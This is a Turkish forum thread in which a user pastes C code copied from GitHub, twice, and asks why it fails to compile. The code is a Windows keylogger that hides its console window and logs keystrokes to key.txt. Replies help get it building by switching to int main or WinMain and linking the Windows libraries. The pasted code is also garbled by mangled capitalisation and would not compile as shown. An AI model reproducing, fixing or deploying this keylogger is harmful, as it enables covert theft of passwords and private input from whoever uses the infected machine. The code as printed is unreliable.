C kodu hata veriyor

Siberci07

Hectopat
Katılım
14 Eylül 2019
Mesajlar
2.581
Daha fazla  
Cinsiyet
Diğer
Not: Kodlar bana ait değildir GitHub'tan buldum kopyala yapıştır yaptım, ve bana böyle bir hata veriyor.



#Define _wIN32_WINnt 0x0500.

#include<stdio.h>
#include<stdlib.h>
#include<windows.h>

İnt g(int a){
Getasynckeystate(a);
}

Void main()
{
Hwnd hwnd=GetConsoleWindow();
//Showwindow(hwnd, sw_mınımıze); //wont hide the window, minimise.
Showwindow(hwnd, sw_hıde);

Fıle *fp;
Fp = fopen("key.txt","a");
İf(fp==null){
Puts("sorry! Cant open file");
Exit(1);
}
While(1){

Sleep(140);
//Numbers ranging from 48 - 57.
İf(getasynckeystate(48) || g(96))fputs("0",fp);
Else if(getasynckeystate(49) || g(97))fputs("1",fp);
Else if(getasynckeystate(50) || g(98))fputs("2",fp);
Else if(getasynckeystate(51) || g(99))fputs("3",fp);
Else if(getasynckeystate(52) || g(100))fputs("4",fp);
Else if(getasynckeystate(53) || g(101))fputs("5",fp);
Else if(getasynckeystate(54) || g(102))fputs("6",fp);
Else if(getasynckeystate(55) || g(103))fputs("7",fp);
Else if(getasynckeystate(56) || g(104))fputs("8",fp);
Else if(getasynckeystate(57) || g(105))fputs("9",fp);
//Alphabets uppercase from 65-90
Else if(getasynckeystate(65))fputs("a",fp);
Else if(getasynckeystate(66))fputs("b",fp);
Else if(getasynckeystate(67))fputs("C",fp);
Else if(getasynckeystate(68))fputs("D",fp);
Else if(getasynckeystate(69))fputs("e",fp);
Else if(getasynckeystate(70))fputs("F",fp);
Else if(getasynckeystate(71))fputs("g",fp);
Else if(getasynckeystate(72))fputs("h",fp);
Else if(getasynckeystate(73))fputs("i",fp);
Else if(getasynckeystate(74))fputs("j",fp);
Else if(getasynckeystate(75))fputs("k",fp);
Else if(getasynckeystate(76))fputs("l",fp);
Else if(getasynckeystate(77))fputs("m",fp);
Else if(getasynckeystate(79))fputs("o",fp);
Else if(getasynckeystate(80))fputs("p",fp);
Else if(getasynckeystate(81))fputs("Q",fp);
Else if(getasynckeystate(82))fputs("r",fp);
Else if(getasynckeystate(83))fputs("s",fp);
Else if(getasynckeystate(84))fputs("t",fp);
Else if(getasynckeystate(85))fputs("u",fp);
Else if(getasynckeystate(86))fputs("v",fp);
Else if(getasynckeystate(87))fputs("W",fp);
Else if(getasynckeystate(88))fputs("X",fp);
Else if(getasynckeystate(89))fputs("y",fp);
Else if(getasynckeystate(90))fputs("Z",fp);
//Special characters.
Else if(getasynckeystate(32))fputs(" ",fp); //space
Else if(getasynckeystate(8))fputs("[BACKSPACE]",fp); //backspace
Else if(getasynckeystate(13))fputs("[ENTER]",fp); //enter
Else if(getasynckeystate(16))fputs("[SHIFT]",fp);
Else if(getasynckeystate(20))fputs("[CAPS]",fp);

Else if(getasynckeystate(vk_escape || vk_f1)){
Fclose(fp);
Break;
}
}
Fclose(fp);

}
 
Void int dönüyor diyor. Ek olarak Win dosyası içinde main.o hatası var.
 
C:
Void main()

{

 Hwnd hwnd=GetConsoleWindow();

 //Showwindow(hwnd, sw_mınımıze); //wont hide the window, minimise.

 Showwindow(hwnd, sw_hıde);



 Fıle *fp;

 Fp = fopen("key.txt","a");

 İf(fp==null){

 Puts("sorry! Cant open file");

 Exit(1);

 }

 While(1){



 Sleep(140);

 //Numbers ranging from 48 - 57.

 İf(getasynckeystate(48) || g(96))fputs("0",fp);

 Else if(getasynckeystate(49) || g(97))fputs("1",fp);

 Else if(getasynckeystate(50) || g(98))fputs("2",fp);

 Else if(getasynckeystate(51) || g(99))fputs("3",fp);

 Else if(getasynckeystate(52) || g(100))fputs("4",fp);

 Else if(getasynckeystate(53) || g(101))fputs("5",fp);

 Else if(getasynckeystate(54) || g(102))fputs("6",fp);

 Else if(getasynckeystate(55) || g(103))fputs("7",fp);

 Else if(getasynckeystate(56) || g(104))fputs("8",fp);

 Else if(getasynckeystate(57) || g(105))fputs("9",fp);

 //Alphabets uppercase from 65-90

 Else if(getasynckeystate(65))fputs("a",fp);

 Else if(getasynckeystate(66))fputs("b",fp);

 Else if(getasynckeystate(67))fputs("C",fp);

 Else if(getasynckeystate(68))fputs("D",fp);

 Else if(getasynckeystate(69))fputs("e",fp);

 Else if(getasynckeystate(70))fputs("F",fp);

 Else if(getasynckeystate(71))fputs("g",fp);

 Else if(getasynckeystate(72))fputs("h",fp);

 Else if(getasynckeystate(73))fputs("i",fp);

 Else if(getasynckeystate(74))fputs("j",fp);

 Else if(getasynckeystate(75))fputs("k",fp);

 Else if(getasynckeystate(76))fputs("l",fp);

 Else if(getasynckeystate(77))fputs("m",fp);

 Else if(getasynckeystate(79))fputs("o",fp);

 Else if(getasynckeystate(80))fputs("p",fp);

 Else if(getasynckeystate(81))fputs("Q",fp);

 Else if(getasynckeystate(82))fputs("r",fp);

 Else if(getasynckeystate(83))fputs("s",fp);

 Else if(getasynckeystate(84))fputs("t",fp);

 Else if(getasynckeystate(85))fputs("u",fp);

 Else if(getasynckeystate(86))fputs("v",fp);

 Else if(getasynckeystate(87))fputs("W",fp);

 Else if(getasynckeystate(88))fputs("X",fp);

 Else if(getasynckeystate(89))fputs("y",fp);

 Else if(getasynckeystate(90))fputs("Z",fp);

 //Special characters.

 Else if(getasynckeystate(32))fputs(" ",fp); //space

 Else if(getasynckeystate(8))fputs("[BACKSPACE]",fp); //backspace

 Else if(getasynckeystate(13))fputs("[ENTER]",fp); //enter

 Else if(getasynckeystate(16))fputs("[SHIFT]",fp);

 Else if(getasynckeystate(20))fputs("[CAPS]",fp);



 Else if(getasynckeystate(vk_escape || vk_f1)){

 Fclose(fp);

 Break;

 }

 }

 Fclose(fp);



}
 
Kullandığınız derleyici main() methodunun int main(int argc, char *argv[]) şeklinde istiyor.
void main'i, int main haline getirip. Methodun sonuna ise return 0; yazın.
Hocam yapamadımda siz düzenleyip atar mısınız ya merak ettim hemen yapmak istiyorum birde
 
Win32 API'si kullanarak uygulama derlemek için makefile'ın içerisinde kütüphanelerde -lwindows seçeneği olmalı. Bu olmadığı için de linker hatası alıyorsun. Ben olsam Win32 projesi olarak açardım Dev-C++'ta, ve gelen kodları temizleyip bu kodları koyardım. Denerdim bunu en azından.
 

Fark etmemişim Windows fonksyonları kullanılıyor o yüzden WinMain ile yazmak daha mantıklı.
 
Evet ya ben consol uygulaması yapmışım özür dilerim teşekkür ederim
 
Bu siteyi kullanmak için çerezler gereklidir. Siteyi kullanmaya devam etmek için çerezleri kabul etmelisiniz. Daha Fazlasını Öğren.…